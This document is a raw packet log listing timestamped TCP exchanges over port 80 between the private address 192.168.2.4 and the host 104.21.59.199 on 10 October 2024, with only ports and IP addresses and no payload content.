Oct 10, 2024 21:01:29.115479946 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115506887 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115531921 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.115557909 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.118237972 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.118532896 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.118647099 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.118767023 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.118793011 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.416217089 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.423722982 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.429440022 CEST	80	49747	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.429503918 CEST	49747	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.557929039 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.563309908 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:29.563536882 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.577636003 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:29.584513903 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.044522047 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.046320915 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.046449900 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.051481962 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051513910 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051542997 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051574945 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051651001 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051678896 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051762104 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051789045 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051786900 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.051788092 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.051816940 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051848888 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051877022 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.051898956 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.051947117 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.058856964 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.058885098 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.058911085 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.058937073 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.058963060 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.059111118 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.098721981 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.098979950 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.099128962 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.115118027 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.115370035 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.120606899 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.432375908 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.478240967 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.733016968 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.738503933 CEST	80	49749	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.738706112 CEST	49749	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.868613005 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.873969078 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:30.874141932 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.874469042 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:30.879443884 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.379470110 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.380784988 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.380928993 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.385953903 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386176109 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386203051 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386233091 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386257887 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386260033 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386288881 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386328936 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386356115 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386382103 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386399031 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386409044 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386435986 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386441946 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386462927 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.386471987 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386493921 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.386529922 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.391304970 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391426086 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.391558886 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391585112 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391611099 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391640902 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391709089 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391736031 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391756058 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.391761065 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391859055 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.391880989 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.391908884 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.392074108 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.392118931 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.392322063 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.396519899 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397584915 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397633076 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397660017 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397686005 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397733927 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397759914 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397785902 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397810936 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397835970 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397881031 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397906065 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397932053 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397960901 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.397986889 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.398011923 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.398036957 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.398061991 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.398087025 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.401695967 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.406704903 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.687186956 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.696175098 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.702709913 CEST	80	49752	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.702867031 CEST	49752	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.836005926 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.841917038 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:31.843472958 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.843823910 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:31.849872112 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.292963982 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.294253111 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.294527054 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299310923 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299654961 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299685001 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299731016 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299736977 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299757004 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299782991 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299783945 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299803019 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299814939 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299827099 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299860001 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299881935 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299907923 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299931049 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299949884 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.299952984 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299978018 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.299994946 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.300024033 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.304999113 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305115938 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305200100 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305233955 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305258989 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305296898 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305320024 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305334091 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305716038 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305743933 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305774927 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305793047 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305917978 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305944920 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305967093 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305969954 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.305994034 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.305996895 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.306015015 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.306022882 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.306047916 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.306314945 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.310936928 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.310964108 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.310992956 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.310996056 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.311315060 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.312107086 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.316063881 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.601511955 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.609607935 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.615360975 CEST	80	49754	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.615446091 CEST	49754	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.755965948 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.761301041 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:32.761394978 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.762095928 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:32.767034054 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.463150024 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.464350939 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.464478970 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.465336084 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.465595007 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.470334053 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470560074 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470591068 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470602989 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470611095 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.470699072 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470710993 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470721960 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470733881 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470794916 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.470814943 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.470814943 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.470886946 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.473684072 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.473733902 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.473747969 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.473968983 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475591898 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475658894 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475701094 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475733042 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475784063 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475828886 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475856066 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475882053 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475888968 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475908041 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475912094 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475934029 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475941896 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.475960970 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.475997925 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.476047039 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.476058960 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.476089954 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.476145029 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.478905916 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.479026079 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.479336023 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.479522943 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.481055021 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.481228113 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.481307030 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.481595993 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.483766079 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.483813047 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.483963966 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.483989954 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.484035015 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.484087944 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.485694885 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.485721111 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.485747099 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.485841990 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.485868931 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.486004114 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.486520052 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.772214890 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.784600973 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.800421953 CEST	80	49756	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.800607920 CEST	49756	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.915317059 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.920711994 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:33.920842886 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.921700954 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:33.927093029 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.365716934 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.367060900 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.367168903 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372170925 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372200012 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372268915 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372303009 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372330904 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372353077 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372374058 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372379065 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372406960 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372428894 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372448921 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372453928 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372481108 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372500896 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372529030 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372529030 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372556925 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372581959 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372587919 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.372606993 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.372636080 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.377702951 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377729893 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377759933 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377784014 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.377801895 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.377860069 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377887011 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377913952 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.377933025 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.377963066 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.377989054 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.378037930 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.378051043 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.378115892 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.378159046 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.378237009 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.378293991 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.378324032 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.382993937 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383043051 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383045912 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.383074999 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383121014 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383208990 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383292913 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383342028 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383368015 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383441925 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383469105 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383498907 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383544922 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383605957 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383631945 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383656979 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383682966 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383728027 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383754015 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383780003 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383807898 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383853912 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383879900 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383904934 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383929968 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.383975983 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.384001017 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.384027004 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.384052038 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.388027906 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.670078039 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.679685116 CEST	49757	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:34.685424089 CEST	80	49757	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:34.685506105 CEST	49757	80	192.168.2.4	104.21.59.199
